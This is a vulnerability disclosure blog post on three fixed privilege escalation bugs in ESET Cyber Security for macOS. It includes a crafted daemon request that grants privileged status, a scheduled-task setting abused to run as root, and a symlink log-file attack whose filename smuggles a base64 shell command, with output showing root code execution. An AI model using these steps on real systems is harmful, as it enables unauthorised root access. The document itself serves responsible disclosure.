2019-12-23 11:00 | Cees Elzinga

Multiple privilege escalations in ESET's Cyber Security

In one of our assignments we encountered ESET's anti-virus solution for macOS. We were interested to see if we can turn the anti-virus solution against itself, and use it as a mechanism for privilege escalation. This blog post discusses multiple security issues found. The findings in this post are based on ESET Cyber Security 6.7.900.0. The issues also apply to Cyber Security Pro, Endpoint Antivirus and Endpoint Security. During our research we disclosed our findings to ESET's security team as we found them. They were great to work with and resolved all reported issues. Users are recommended to update to the latest version available.

ESET CVE

The main ESET user interface:

ESET user-interface

Architecture

To perform its functions as an anti-virus engine ESET Cyber Security needs to run with high privileges. It uses these privileges, for example, to be able to scan files from any user. A common architecture used by anti-virus engines is to split the product into multiple components. Only the components that need the highest privileges run as root. Other components, such as the user-interface, run with low privileges. Communication between the two segments happens over a unix domain socket. This architecture is also used by ESET.

privileged processes

Communication between the userland GUI and the daemon is done over a unix domain socket in /tmp/esets.sock:


users-iMac:~ user$ ls -al /tmp/
prw-r--r--  1 user  wheel    0 Aug 26 01:00 esets.gui.501.fifo
srw-rw-rw-  1 root  wheel    0 Aug 26 00:56 esets.sock

All users are allowed to write to the socket, but the privileges of the user are verified in the daemon. Most functions are limited to 'privileged' users. These users (or groups) are configured in the GUI. In this blog post we will refer to those users as 'ESET privileged users'.

privileged users as shown in the ESET GUI

Our research plan is as follows:

  • Research the communication protocol between the GUI and the daemon
  • Escalate to an ESET privileged user
  • Investigate what functions are exposed by the daemon
  • Analyze these functions for security problems

Protocol

Instead of reversing the protocol statically we decided to get a feeling for the communication by using dynamic analysis. We instrument the daemon process using dtruss and log all arguments to the syscall sendto(). With the daemon logging all requests we generate traffic by clicking around in the GUI and toggling the setting "Removable media blocking".

Update protection settings in the GUI


$ sudo dtrace -p $(pgrep esets_daemon) -qn "syscall::sendto:entry { tracemem(copyin(arg1, 260), 260); }"
> 0000  f0 00 00 00 00 08 00 00 3e 0c d9 10 0f 01 00 02   ........>....... 
> 0010  ec 00 00 00 00 00 00 00 02 00 00 00 20 00 00 00   ............ ... 
> 0020  7b 22 6d 65 74 68 6f 64 22 3a 20 22 5f 43 45 2e   {"method": "_CE. 
> 0030  72 70 63 5f 61 70 69 2e 73 63 72 65 65 6e 5f 76   rpc_api.screen_v 
> 0040  61 6c 75 65 73 5f 73 65 74 22 2c 20 22 69 64 22   alues_set", "id" 
> 0050  3a 20 32 38 32 36 35 39 39 30 32 2c 20 22 70 61   : 282659902, "pa 
> 0060  72 61 6d 73 22 3a 20 7b 22 6d 61 6a 6f 72 22 3a   rams": {"major": 
> 0070  20 33 39 33 32 32 33 2c 20 22 6d 69 6e 6f 72 22    393223, "minor" 
> 0080  3a 20 35 38 39 38 32 34 30 30 2c 20 22 70 72 6f   : 58982400, "pro 
> 0090  64 75 63 74 22 3a 20 22 68 6f 6d 65 5f 6d 61 63   duct": "home_mac 
> 00a0  22 2c 20 22 76 61 6c 75 65 73 22 3a 20 7b 22 70   ", "values": {"p 
> 00b0  6c 75 67 69 6e 73 2e 6d 61 63 22 3a 20 7b 22 65   lugins.mac": {"e 
> 00c0  6e 61 62 6c 65 64 22 3a 20 31 2c 20 22 62 6c 6f   nabled": 1, "blo 
> 00d0  63 6b 22 3a 20 30 2c 20 22 65 78 63 65 70 74 69   ck": 0, "excepti 
> 00e0  6f 6e 73 22 3a 20 30 7d 7d 7d 7d 00 67 75 69 00   ons": 0}}}}.gui. 

The communication consists of JSON requests that are prepended with 32 bytes of unknown data. By triggering more requests we can start identifying some of the fields:

Overview of the ESET protocol

Note that the identifier field is included twice. Once in the JSON data as the value 282659902 and once as the value "3e0cd910". This is the same value (282659902 = 0x10d90c3e). This identifier is unique per request and is generated with the pseudo-code (getpid() << 16) | clock() | 0x10.

Crash bug

We started implementing our own client to talk to the daemon, but ran into an issue where the message identifier is prepended by zeroes (eg 00000002). When trying to parse the request the daemon crashes and the processes esets_daemon, esets_fcor and esets_proxy are killed. The processes automatically respawn after a couple of seconds, but by running the script in a loop the processes are effectively killed. An attacker can abuse this bug to stop any protection from ESET and launch his attack.

The crash bug in action:

denial-of-service

This issue was assigned CVE-2019-17549.

With an initial understanding of the protocol we can start communicating with the daemon.

Bypassing verification for privileged users

The ESET daemon exposes a small API to the GUI. Most of the functions are restricted to "ESET privileged users". These privileged users are configured with the setting daemon.settings.security.privileges.users. Interestingly, modifying this setting is not limited to ESET privileged users. Any user can add himself to this group. The following request will do just that:


data = { 
    "id": 1234,
    "method": "_CE.rpc_api.screen_values_set", 
    "params": { 
        "values": { 
            "daemon.settings.security.privileges.users": ["root", current_user()]
        },
    },
} 

It looks like we found our bypass for privileged users. However, when sending the message to the daemon it always returns an error code. We assumed the problem was the invalid value for id and started reversing the relevant code. At the same time we started a simple fuzzer and found an interesting bug: setting the identifier to double zeroes (00) is always accepted as a valid identifier. The message is now accepted by the daemon and we can now add ourselves to the ESET privileged users:

Animated image of adding a user

This issue was assigned CVE-2019-16519 and fixed in version 6.8.1. ESET also released an advisory with additional information.

Once we added ourselves to the ESET privileged users we can call all functions exposed by the daemon. The next step is to look for vulnerabilities in those and get code execution as root.

Abusing scheduled tasks

One of the functions exposed by the daemon is the creation of scheduled tasks. An ESET privileged user can schedule tasks to run at certain conditions. The image below shows the default tasks for ESET:

Scheduled tasks as seen in the ESET GUI

Users can add their own tasks to the scheduler. Example tasks are scheduling a system scan at a certain date, updating the anti-virus signatures or running a custom shell script. The scheduled tasks run as a low-privileged linux user. This user is configured in a hidden setting. You can view this setting by calling _CE.rpc_api.screen_values_get. A snippet of the output returned:


..
"scheduler": { 
    "reserved": 0, 
    "settings": { 
        "user_for_external_cmd": "nobody", // gets translated to eset_ecs6m_schedd
        "tasks": [ 
            { 
                "action": { 
                    "uscan_args": { 
                        "profile": "", 
                        "excludes": [], 
                        "log_user": "", 
                        "shutdown_after_scan_locked": False, 
..

The setting user_for_external_command is not configurable from the GUI. But by using our custom client it can be changed. Changing it to root will execute a scheduled tasks as root.

Combined with bypassing privileged users check as described above this allows any user to first add himself to the ESET privileged users and then get code execution as root:

Animated movie of adding a new scheduled task

Abusing log files

Another way to escalate to root is by abusing log files. An ESET privileged user can configure the log directory to any location on the system. The following screenshot shows the log directory being set to "/tmp/logdir".

Configuration of the log directory

This automatically creates the following files on the system


users-iMac:protocol user$ ls -al /tmp/logdir
total 0
drwxr-xr-x  7 user  wheel  238 Sep 17 05:45 .
drwxrwxrwt  9 root  wheel  306 Sep 17 05:45 ..
-rw-------  1 root  wheel    0 Sep 17 05:45 devctllog.txt
-rw-------  1 root  wheel    0 Sep 17 05:45 eventslog.txt
-rw-------  1 root  wheel    0 Sep 17 05:45 firewalllog.txt
-rw-------  1 root  wheel    0 Sep 17 05:45 threatslog.txt
-rw-------  1 root  wheel    0 Sep 17 05:45 webctllog.txt

Should any of the logfiles exist the ESET daemon will append to the existing file. The issue is that the log directory is configured by the current user, but the logfiles are written by the root user. To exploit the issue the ESET daemon is tricked into logging its results to a special file by using symbolic links. The example below appends to the file /etc/defaults/periodic.conf.

1. Prepare a log directory


mkdir /tmp/lpe_logdir/
ln -s /etc/defaults/periodic.conf /tmp/lpe_logdir/threatslog.txt

2. In the GUI: configure the log directory /tmp/lpe_logdir

The log directory now looks like:


users-iMac:eset user$ ls -al /tmp/lpe_logdir/
total 8
drwxr-xr-x   7 user  wheel  238 Sep 17 05:47 .
drwxrwxrwt  10 root  wheel  340 Sep 17 05:46 ..
-rw-------   1 root  wheel    0 Sep 17 05:47 devctllog.txt
-rw-------   1 root  wheel    0 Sep 17 05:47 eventslog.txt
-rw-------   1 root  wheel    0 Sep 17 05:47 firewalllog.txt
lrwxr-xr-x   1 user  wheel   27 Sep 17 05:47 threatslog.txt -> /etc/defaults/periodic.conf
-rw-------   1 root  wheel    0 Sep 17 05:47 webctllog.txt

3. Trigger the daemon to write to threatslog.txt

The ESET daemon writes information about detected threats to threatslog.txt. By creating a test virus with a special filename an attacker can control parts of the data that is written to the file:


users-iMac:~ user$ test=`echo '(date;id) > /tmp/eset_lpe.txt' | base64`
users-iMac:~ user$ echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > "/tmp/lpe_logdir/
echo ${test} | base64 -D|sh
"
users-iMac:~ user$

4. Wait till ESET detects the EICAR virus

Threat detected by ESET

The malicious filename is now logged to /etc/defaults/periodic.conf and will get executed on the next periodic run. Now wait a day until periodic has been executed by root, or test it manually as shown below:


users-iMac:~ user$ sudo periodic daily
Password:
/etc/defaults/periodic.conf: line 140: 2019-09-17T12:47:53: command not found
/etc/defaults/periodic.conf: line 142: Eicar: command not found
/etc/defaults/periodic.conf: line 143: 2019-09-17T12:47:53: command not found
/etc/defaults/periodic.conf: line 145: Eicar: command not found

users-iMac:~ user$ cat /tmp/eset_lpe.txt 
Tue Sep 17 05:48:23 PDT 2019
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled)

Combined with bypassing privileged users check as described above this allows any user to first add himself to the ESET privileged users, and then get code execution as root. This issue was assigned CVE-2019-19792 and fixed in 6.8.300.0.


Kontakt os

+45 2054 4448

[email protected]

Vester Farimagsgade 41, 1606 København V

Services | Uddannelse | Blog

© 2020 Danish Cyber Defence A/S · Vester Farimagsgade 41 · 1606 København V · CVR 38871064